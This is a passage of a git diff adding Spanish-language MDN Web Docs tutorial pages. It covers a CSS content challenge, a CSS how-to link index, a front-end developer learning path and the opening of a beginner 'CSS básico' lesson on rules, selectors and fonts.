+  <p><strong style="background-color: #ddddff; color: red; font: 200% serif;">C</strong>ascading <strong style="background-color: #ddddff; color: red; font: 200% serif;">S</strong>tyle <strong style="background-color: #ddddff; color: red; font: 200% serif;">S</strong>heets</p>
+  </div>
+  </div>
+  </div>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Reto</div>
+
+<p>Descarga esta imagen:</p>
+
+<table style="border: 2px solid #cccccc;">
+ <tbody>
+  <tr>
+   <td><img alt="Image:Yellow-pin.png" class="internal" src="https://mdn.mozillademos.org/files/924/Yellow-pin.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Agrega una nueva regla a tu hoja de estilos, luego, agrega la imagen al inicio de cada linea:</p>
+
+<div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+<p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="https://mdn.mozillademos.org/files/161/Blue-rule-ground.png"></p>
+
+<div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+<div style="font-style: italic; width: 24em; padding-top: 8px;"><img alt="image:Yellow-pin.png" class="internal" src="https://mdn.mozillademos.org/files/924/Yellow-pin.png"> <strong style="background-color: #ddddff; color: red; font: 200% serif;">C</strong>ascading <strong style="background-color: #ddddff; color: green; font: 200% serif;">S</strong>tyle <strong style="background-color: #ddddff; color: green; font: 200% serif;">S</strong>heets</div>
+
+<div style="font-style: normal; padding-top: 12px; height: 8em;"><img alt="image:Yellow-pin.png" class="internal" src="https://mdn.mozillademos.org/files/924/Yellow-pin.png"> <strong style="background-color: #ddddff; color: red; font: 200% serif;">C</strong>ascading <strong style="background-color: #ddddff; color: red; font: 200% serif;">S</strong>tyle <strong style="background-color: #ddddff; color: red; font: 200% serif;">S</strong>heets</div>
+</div>
+</div>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Add this rule to your stylesheet:</p>
+
+<pre class="brush: css">p:before{
+  content: url("yellow-pin.png");
+}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Ver la solución a este reto.</a></div>
+
+<h2 id="Qué_sigue">Qué sigue?</h2>
+
+<p>{{ nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Lists", "Lists") }}Una forma común en que las hojas de estilos agregan contenido es marcando los elementos en las listas. La siguiente sección describe cómo <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Lists" title="/en-US/docs/Web/Guide/CSS/Getting_Started/Lists">especificar estilos para una lista de elementos.</a></p>
diff --git a/files/es/learn/css/sábercomo/index.html b/files/es/learn/css/sábercomo/index.html
new file mode 100644
index 0000000000..ffff1653c0
--- /dev/null
+++ b/files/es/learn/css/sábercomo/index.html
@@ -0,0 +1,81 @@
+---
+title: Usa CSS para resolver problemas comunes
+slug: Learn/CSS/Sábercomo
+translation_of: Learn/CSS/Howto
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Los siguientes enlaces apuntan a soluciones comunes a los problemas cotidianos que necesitará resolver con CSS.</p>
+
+<h2 id="Casos_de_uso_común">Casos de uso común</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Básicos">Básicos</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">Cómo aplicar CSS al HTML</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#White_space">How to use whitespace in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#Comments">Cómo escribir comentarios en CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Simple_selectors">Cómo seleccionar elementos mediante nombre del elemento, clase o ID</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">Cómo seleccionar elementos mediante nombre del atributo y contenido</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">Cómo usar pseudo-clases</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-elements">Cómo usar pseudo-elementos</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Multiple_selectors_on_one_rule">Cómo aplicar múltiples selectores a la misma regla</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">Cómo especificar colores en CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">Cómo depurar CSS en el navegador</a></li>
+</ul>
+
+<h3 id="CSS_y_texto">CSS y texto</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Cómo dar estilo al texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Cómo personalizar una lista de elementos</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Styling_links">Cómo dar estilo a links</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Text_drop_shadows">Cómo agregar sombras al texto</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Cajas_y_diseños">Cajas y diseños</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">Cómo redimensionar cajas CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Overflow">Cómo controlar el contenido que desborda</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">Cómo controlar la parte de una caja CSS en la que se dibuja el fondo</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">Cómo defino un elemento inline, block o inline-block?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to use <code>background-clip</code> to control how much of the box your background image covers</a>.</li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">How to change the box model completely using <code>box-sizing</code></a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Backgrounds">How to control backgrounds</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Borders">How to control borders</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Styling_tables">How to style an HTML table</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">How to add shadows to boxes</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_or_advanced_techniques">Uncommon or advanced techniques</h2>
+
+<p>Beyond the basics, CSS is allows very advanced design techniques. These articles help you tackle the hardest use cases you may face.</p>
+
+<h3 id="General">General</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">How to calculate specificity of a CSS selector</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Controlling_inheritance">How to control inheritance in CSS</a></li>
+</ul>
+
+<h3 id="Advanced_effects">Advanced effects</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">How to use filters in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">How to use blend modes in CSS</a></li>
+</ul>
+
+<h3 id="Layout">Layout</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">Using CSS flexible boxes</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">Using CSS multi-column layouts</a></li>
+</ul>
diff --git a/files/es/learn/desarrollo_web_front-end/index.html b/files/es/learn/desarrollo_web_front-end/index.html
new file mode 100644
index 0000000000..f58a9ad486
--- /dev/null
+++ b/files/es/learn/desarrollo_web_front-end/index.html
@@ -0,0 +1,201 @@
+---
+title: Desarrollo web Front-end
+slug: Learn/Desarrollo_web_Front-end
+tags:
+  - Aprender
+  - CSS
+  - De lado del cliente
+  - Estándar Web
+  - Estándares web
+  - Front-end
+  - HTML
+  - Herramientas
+  - JavaScript
+  - Novato
+  - Principiante
+translation_of: Learn/Front-end_web_developer
+---
+<p>{{learnsidebar}}</p>
+
+<p>¡Bienvenido a la ruta de aprendizaje para desarrolladores de la interfaz de usuario web!</p>
+
+<p>Aquí se te proporciona un curso estructurado que te enseñará todo lo que necesitas saber para convertirte en un desarrollador de la interfaz de usuario web. Simplemente trabaja en cada sección, aprendiendo nuevas habilidades (o mejorando las existentes) sobre la marcha. Cada sección incluye desafíos y ejercicios para evaluar tu comprensión antes de seguir adelante.</p>
+
+<h2 id="Temas_tratados">Temas tratados</h2>
+
+<p>Los temas tratados son:</p>
+
+<ul>
+ <li>Configuración básica y conocimientos sobre cómo aprender</li>
+ <li>Estándares web y mejores prácticas (como accesibilidad y compatibilidad entre navegadores)</li>
+ <li>HTML, el lenguaje que da estructura y significado al contenido web</li>
+ <li>CSS, el lenguaje utilizado para aplicar estilo a las páginas web</li>
+ <li>JavaScript, el lenguaje programado por medio de <em>scripts</em> utilizado para crear funciones dinámicas en la web.</li>
+ <li>Herramientas que se utilizan para facilitar el desarrollo web moderno de lado del cliente.</li>
+</ul>
+
+<p>Puedes trabajar en las secciones en orden, pero cada una también es autónoma. Por ejemplo, si ya conoces HTML, puedes pasar a la sección CSS.</p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>No necesitas conocimientos previos para empezar este curso. Todo lo que necesitas es una computadora que pueda ejecutar navegadores web modernos, una conexión a Internet y la voluntad de aprender.</p>
+
+<p>Si no estás seguro de si el desarrollo de la interfaz de usuario web es para ti, y/o deseas una breve introducción antes de comenzar un curso más largo y completo, consulta una {{web.link("/es/docs/Learn/Getting_started_with_the_web", "Introducción a la Web")}}.</p>
+
+<h2 id="Cómo_obtener_ayuda">Cómo obtener ayuda</h2>
+
+<p>Hemos tratado de hacer que el desarrollo de la interfaz de usuario web sea lo más cómodo posible, pero probablemente todavía quedes encallado porque no entiendes algo o porque algún código simplemente no funciona.</p>
+
+<p>No entres en pánico. Todos hemos encallado, sin importar que seamos desarrolladores web principiantes o profesionales. El artículo {{web.link("/es/docs/Learn/Learning_and_getting_help", "Aprender y obtener ayuda")}} te brinda una serie de consejos para buscar información y ayudarte a ti mismo. Si aún estás atascado, no dudes en publicar una pregunta en nuestro <a href="https://discourse.mozilla.org/c/mdn/learn/">Foro de discusión</a>.</p>
+
+<p>Empecemos. ¡Diviértete!</p>
+
+<h2 id="El_camino_del_aprendizaje">El camino del aprendizaje</h2>
+
+<h3 id="Primeros_pasos">Primeros pasos</h3>
+
+<p>Tiempo para completar: 1.5 a 2 horas</p>
+
+<h4 id="Prerrequisitos_2">Prerrequisitos</h4>
+
+<p>Nada excepto conocimientos básicos de informática.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>No hay evaluaciones en esta parte del curso. Pero asegúrate de no saltarla. Es importante prepararte para trabajar en la resolución de los ejercicios más adelante en el curso.</p>
+
+<h4 id="Guías">Guías</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software", "Instalación de software básico")}}: configuración básica de las herramientas (lectura de 15 minutos)</li>
+ <li>{{web.link("/es/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards", "Información básica sobre la web y los estándares web")}} (lectura de 45 minutos)</li>
+ <li>{{web.link("/es/docs/Learn/Learning_and_getting_help", "Aprender y obtener ayuda")}} (lectura de 45 minutos)</li>
+</ul>
+
+<h3 id="Semántica_y_estructura_con_HTML">Semántica y estructura con HTML</h3>
+
+<p>Tiempo para completar: 35 a 50 horas</p>
+
+<h4 id="Prerrequisitos_3">Prerrequisitos</h4>
+
+<p>Nada, excepto: conocimientos básicos de informática y un entorno de desarrollo web básico.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_2">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>Las evaluaciones de cada módulo están diseñadas para comprobar tu conocimiento del tema. Completar las evaluaciones confirma que estás listo para pasar al siguiente módulo.</p>
+
+<h4 id="Módulos">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}} (15 a 20 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Multimedia_and_embedding", "Multimedia e inserción")}} (15 a 20 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Tables", "tablas HTML")}} (5 a 10 horas de lectura/ejercicios)</li>
+</ul>
+
+<h3 id="Estilo_y_diseño_con_CSS">Estilo y diseño con CSS</h3>
+
+<p>Tiempo para completar: 90 a 120 horas</p>
+
+<h4 id="Prerrequisitos_4">Prerrequisitos</h4>
+
+<p>Es recomendable que tengas conocimientos básicos de HTML antes de comenzar a aprender CSS. Primero deberías estudiar {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}} por lo menos.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_3">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>Las evaluaciones de cada módulo están diseñadas para comprobar tu conocimiento del tema. Completar las evaluaciones confirma que estás listo para pasar al siguiente módulo.</p>
+
+<h4 id="Módulos_2">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/CSS/First_steps", "Primeros pasos de CSS" )}} (10 a 15 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/CSS/Building_blocks", "Bloques de construcción de CSS")}} (35 a 45 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/CSS/Styling_text", "Diseño de texto")}} (15 a 20 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/CSS/CSS_layout", "Diseño CSS")}} (30 a 40 horas de lectura/ejercicios)</li>
+</ul>
+
+<h4 id="Recursos_adicionales">Recursos adicionales</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/CSS/Layout_cookbook", "Libro de recetas de diseño CSS")}}</li>
+</ul>
+
+<h3 id="Interactividad_con_JavaScript">Interactividad con JavaScript</h3>
+
+<p>Tiempo para completar: 135 a 185 horas</p>
+
+<h4 id="Prerrequisitos_5">Prerrequisitos</h4>
+
+<p>Es recomendable que tengas conocimientos básicos de HTML antes de comenzar a aprender JavaScript. Primero deberías estudiar {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML", "Introducción a HTML")}} por lo menos.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_4">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>Las evaluaciones de cada módulo están diseñadas para comprobar tu conocimiento del tema. Completar las evaluaciones confirma que estás listo para pasar al siguiente módulo.</p>
+
+<h4 id="Módulos_3">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/JavaScript/First_steps", "Primeros pasos en JavaScript")}} (30 a 40 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Building_blocks", "Bloques de construcción de JavaScript")}} (25 a 35 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Objects", "Introducción a los objetos JavaScript")}} (25 a 35 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Client-side_web_APIs", "API web del lado del cliente")}} (30 a 40 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/JavaScript/Asynchronous", "JavaScript asincrónico")}} (25 a 35 horas de lectura/ejercicios)</li>
+</ul>
+
+<h3 id="Formularios_web_—_Trabajar_con_datos_del_usuario">Formularios web — Trabajar con datos del usuario</h3>
+
+<p>Tiempo para completar: 40 a 50 horas</p>
+
+<h4 id="Prerrequisitos_6">Prerrequisitos</h4>
+
+<p>Los formularios requieren conocimientos de HTML, CSS y JavaScript. Dada la complejidad de trabajar con formularios, es un tema dedicado.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_5">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>Las evaluaciones de cada módulo están diseñadas para comprobar tu conocimiento del tema. Completar las evaluaciones confirma que estás listo para pasar al siguiente módulo.</p>
+
+<h4 id="Módulos_4">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/Forms", "Formularios web")}} (40 a 50 horas)</li>
+</ul>
+
+<h3 id="Hacer_que_la_web_funcione_para_todos">Hacer que la web funcione para todos</h3>
+
+<p>Tiempo para completar: 60 a 75 horas</p>
+
+<h4 id="Prerrequisitos_7">Prerrequisitos</h4>
+
+<p>Es una buena idea conocer HTML, CSS y JavaScript antes de trabajar en esta sección. Muchas de las técnicas y mejores prácticas se refieren a múltiples tecnologías.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_6">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>Las evaluaciones de cada módulo están diseñadas para comprobar tu conocimiento del tema. Completar las evaluaciones confirma que estás listo para pasar al siguiente módulo.</p>
+
+<h4 id="Módulos_5">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/Tools_and_testing/Cross_browser_testing", "Pruebas en varios navegadores")}} (25 a 30 horas de lectura/ejercicios)</li>
+ <li>{{web.link("/es/docs/Learn/Accessibility", "Accesibilidad")}} (20 a 25 horas de lectura/ejercicios)</li>
+</ul>
+
+<h3 id="Herramientas_modernas">Herramientas modernas</h3>
+
+<p>Tiempo para completar: 55 a 90 horas</p>
+
+<h4 id="Prerrequisitos_8">Prerrequisitos</h4>
+
+<p>Es una buena idea conocer HTML, CSS y JavaScript antes de trabajar en esta sección, ya que las herramientas analizadas funcionan junto con muchas de estas tecnologías.</p>
+
+<h4 id="¿Cómo_sabré_que_estoy_listo_para_seguir_adelante_7">¿Cómo sabré que estoy listo para seguir adelante?</h4>
+
+<p>No hay artículos de evaluación específicos en este conjunto de módulos. Los tutoriales de casos de estudio al final del segundo y tercer módulo te preparan para comprender los conceptos básicos de las herramientas modernas.</p>
+
+<h4 id="Módulos_6">Módulos</h4>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/Tools_and_testing/GitHub", "Git y GitHub")}} (lectura de 5 horas)</li>
+ <li>{{web.link("/es/docs/Learn/Tools_and_testing/Understanding_client-side_tools", "Comprender las herramientas de desarrollo web del lado del cliente")}} (lectura de 20 a 25 horas)</li>
+ <li>
+  <p>{{web.link("/es/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks", "Comprender los marcos de JavaScript de lado del cliente")}} (30 a 60 horas de lectura/ejercicios)</p>
+ </li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/css_basics/index.html b/files/es/learn/getting_started_with_the_web/css_basics/index.html
new file mode 100644
index 0000000000..af79920af3
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/css_basics/index.html
@@ -0,0 +1,283 @@
+---
+title: CSS básico
+slug: Learn/Getting_started_with_the_web/CSS_basics
+tags:
+  - CSS
+  - Codificacion/Scripting
+  - Estilos/Styling
+  - Principiante
+  - Web
+  - aprende
+translation_of: Learn/Getting_started_with_the_web/CSS_basics
+---
+<div>{{LearnSideBar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics","Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>CSS (<em>Hojas de Estilo en Cascada</em>) es el código que usas para dar estilo a tu página web. <em>CSS Básico</em> te lleva a través de lo que tú necesitas para empezar. Contestará a preguntas del tipo: ¿Cómo hago mi texto rojo o negro? ¿Cómo hago que mi contenido se muestre en tal y tal lugar de la pantalla? ¿Cómo decoro mi página web con imágenes de fondo y colores?</p>
+</div>
+
+<h2 id="Entonces_¿qué_es_CSS_realmente">Entonces ¿qué es CSS, realmente?</h2>
+
+<p>Como HTML, CSS (<em>Cascading Style Sheets</em>) u Hojas de estilo en cascada en español, no es realmente un lenguaje de programación, tampoco es un lenguaje de marcado. Es un <em>lenguaje de hojas de estilo,</em> es decir, te permite aplicar estilos de manera selectiva a elementos en documentos HTML. Por ejemplo, para seleccionar <strong>todos</strong> los elementos de párrafo en una página HTML y volver el texto dentro de ellos de color rojo, has de escribir este CSS:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+}</pre>
+
+<p>Vas a probarlo: pega estas tres líneas de CSS en un nuevo archivo en tu editor de texto y guarda este archivo como <code>style.css</code> en tu directorio <code>styles</code> (estilos).</p>
+
+<p>Pero aún debes aplicar el CSS a tu documento HTML, de otra manera el estilo CSS no cambiará cómo tu navegador muestra el documento HTML. (Si no has seguido nuestro proyecto, lee <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">Manejo de archivos</a> y <a href="/es/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML básico</a> para averiguar qué necesitas hacer primero.)</p>
+
+<ol>
+ <li>Abre tu archivo <code>index.html</code> y pega la siguiente línea en algún lugar dentro del {{htmlelement("head")}}, es decir, entre las etiquetas <code>&lt;head&gt;</code> y <code>&lt;/head&gt;</code>:
+
+  <pre class="brush: html notranslate">&lt;link href="styles/style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+ <li>Guarda el archivo <code>index.html</code> y cárgalo en tu navegador. Debes ver algo como esto:</li>
+</ol>
+
+<p><img alt="Un logo de Mozilla y algunos párrafos. El texto del párrafo ha sido estilizado en rojo por nuestro css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">Si tu texto del párrafo ahora es rojo, ¡felicitaciones, ya has escrito tu primer CSS de forma exitosa!</p>
+
+<h3 id="Anatomía_de_una_regla_CSS">Anatomía de una regla CSS</h3>
+
+<p>Observa el código CSS de arriba, un poco más a detalle:</p>
+
+<p><img alt="Partes de una declaracion de css" src="https://mdn.mozillademos.org/files/11925/csspartes.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p>
+
+<p>La estructura completa es llamada <strong>regla predeterminada</strong> (pero a menudo «regla» para abreviar). Nota también los nombres de las partes individuales:</p>
+
+<dl>
+ <dt>Selector</dt>
+ <dd>El elemento HTML en el que comienza la regla. Esta selecciona el(los) elemento(s) a dar estilo (en este caso, los elementos {{htmlelement("p")}} ). Para dar estilo a un elemento diferente, solo cambia el selector.</dd>
+ <dt>Declaración</dt>
+ <dd>Una sola regla como <code>color: red;</code> especifica a cuál de las <strong>propiedades</strong> del elemento quieres dar estilo.</dd>
+ <dt>Propiedades</dt>
+ <dd>Maneras en las cuales puedes dar estilo a un elemento HTML. (En este caso, <code>color</code> es una propiedad del elemento {{htmlelement("p")}} ). En CSS, seleccionas qué propiedad quieres afectar en tu regla.</dd>
+ <dt>Valor de la propiedad</dt>
+ <dd>A la derecha de la propiedad, después de los dos puntos (:), tienes el <strong>valor de la propiedad</strong>, para elegir una de las muchas posibles apariencias para una propiedad determinada (hay muchos valores para <code>color</code> además de <code>red</code>).</dd>
+</dl>
+
+<p>Nota las otras partes importantes de la sintaxis:</p>
+
+<ul>
+ <li>Cada una de las reglas (aparte del selector) deben estar encapsuladas entre llaves (<code>{}</code>).</li>
+ <li>Dentro de cada declaración, debes usar los dos puntos (<code>:</code>) para separar la propiedad de su valor.</li>
+ <li>Dentro de cada regla, debes usar el punto y coma (<code>;</code>) para separar una declaración de la siguiente.</li>
+</ul>
+
+<p>De este modo para modificar varios valores de propiedad a la vez, solo necesitas escribirlos separados por punto y coma (;), así:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}</pre>
+
+<h3 id="Seleccionar_varios_elementos">Seleccionar varios elementos</h3>
+
+<p>También puedes seleccionar varios elementos y aplicar una sola regla a todos ellos. Incluye varios selectores separados por comas (,). Por ejemplo:</p>
+
+<pre class="brush: css notranslate">p,li,h1 {
+  color: red;
+}</pre>
+
+<h3 id="Diferentes_tipos_de_selectores">Diferentes tipos de selectores</h3>
+
+<p>Existen muchos tipos diferentes de selectores. Antes, solo viste los <strong>selectores de elementos</strong>, los cuales seleccionan todos los elementos de un tipo dado en los documentos HTML. Sin embargo puedes hacer selecciones más específicas que esas. En seguida están algunos de los tipos de selectores más comunes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nombre del selector</th>
+   <th scope="col">Qué selecciona</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Selector de elemento (llamado algunas veces selector de etiqueta o tipo)</td>
+   <td>Todos los elementos HTML del tipo especificado.</td>
+   <td><code>p</code><br>
+    Selecciona <code>&lt;p&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Selector de identificación (ID)</td>
+   <td>El elemento en la página con el ID especificado (en una página HTML dada, solo se permite un único elemento por ID).</td>
+   <td><code>#mi-id</code><br>
+    Selecciona <code>&lt;p id="mi-id"&gt;</code> y <code>&lt;a id="mi-id"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Selector de clase</td>
+   <td>Los elementos en la página con la clase especificada (una clase puede aparecer varias veces en una página).</td>
+   <td><code>.mi-clase</code><br>
+    Selecciona <code>&lt;p class="mi-clase"&gt;</code> y <code>&lt;a class="mi-clase"&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Selector de atributo</td>
+   <td>Los elementos en una página con el atributo especificado.</td>
+   <td><code>img[src]</code><br>
+    Selecciona <code>&lt;img src="mimagen.png"&gt;</code> pero no <code>&lt;img&gt;</code></td>
+  </tr>
+  <tr>
+   <td>Selector de pseudoclase</td>
+   <td>Los elementos especificados, pero solo cuando esté en el estado especificado, por ejemplo cuando el puntero esté sobre él.</td>
+   <td><code>a:hover</code><br>
+    Selecciona <code>&lt;a&gt;</code>, pero solo cuando el puntero esté sobre el enlace.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Existen muchos más selectores para explorar, y podrás encontrar una lista más detallada en la <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS">guía de Selectores</a>.</p>
+
+<h2 id="Fuentes_y_texto">Fuentes y texto</h2>
+
+<p>Ahora que has explorado lo básico de CSS, empieza por añadir información y algunas reglas más a tu archivo <code>style.css</code> para que tu ejemplo se vea bonito. Primero, haz que tus fuentes y texto luzcan un poco mejor.</p>
+
+<ol>
+ <li>Antes que nada, regresa y busca las <a href="/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Fuente">fuentes de Google Fonts</a> que guardaste en un lugar seguro. Agrega el elemento {{htmlelement("link")}}<code>...</code> en algún lugar del <em>head</em> de tu archivo <code>index.html</code> (de nuevo, en cualquier lugar entre las etiquetas {{htmlelement("head")}} y <code>&lt;/head&gt;</code>). Debe verse algo así:
+
+  <pre class="brush: html notranslate">&lt;link href="https://fonts.googleapis.com/css2?family=Open+Sans" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+ <li>Luego, borra la regla existente en tu archivo <code>style.css</code>. Fue una buena prueba, pero el texto en rojo en realidad no se ve muy bien.</li>
+ <li>
+  <p>Añade las siguientes líneas (que se muestran a continuación), sustituyendo la asignación de <code>font-family</code> por tu selección de <code>font-family</code> que obtuviste en <a href="/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Fuente">¿Cuál será la apariencia de tu sitio Web?</a> La propiedad <code>font-family</code> se refiere a la(s) fuente(s) que deseas usar en tu texto. Esta regla define una fuente base global y un tamaño de fuente para usar en toda la página. Dado que {{htmlelement("html")}} es el elemento primario (o padre) de toda la página, todos los elementos contenidos dentro de él heredan las propiedades <code>font-size</code> y <code>font-family</code>):</p>
+
+  <pre class="brush: css notranslate">html {
+  font-size: 10px; /* px quiere decir 'píxeles': el tamaño de la fuente base es ahora de 10 píxeles de altura */
+  font-family: "Open Sans", sans-serif; /* Este debe ser el resto del resultado que obtuviste de Google fonts */
+}</pre>
+
+  <div class="note">
+  <p><strong>Nota</strong>: se ha añadido un comentario para explicar qué significa «px». Todo lo que está en un documento de CSS entre <code>/*</code> y <code>*/</code> es un <strong>comentario en CSS</strong>, el cual el navegador descarta cuando carga el código. Este es un espacio donde puedes escribir notas útiles sobre lo que estás haciendo.</p>
+  </div>
+ </li>
+ <li>Ahora escoge el tamaño de fuente para los elementos que contienen texto dentro del cuerpo del HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, y {{htmlelement("p")}}). También centra el texto del título, escoge un ancho de línea y espaciado entre letras en el contenido del texto para hacerlo un poco más legible:
+  <pre class="brush: css notranslate">h1 {
+  font-size: 60px;
+  text-align: center;
+}
+
+p, li {
+  font-size: 16px;
+  line-height: 2;
+  letter-spacing: 1px;
+}</pre>
+ </li>
+</ol>
+
+<p>Puedes ajustar estos valores en px para lograr que tu diseño luzca como desees, pero por lo general tu diseño debe verse así:</p>
+
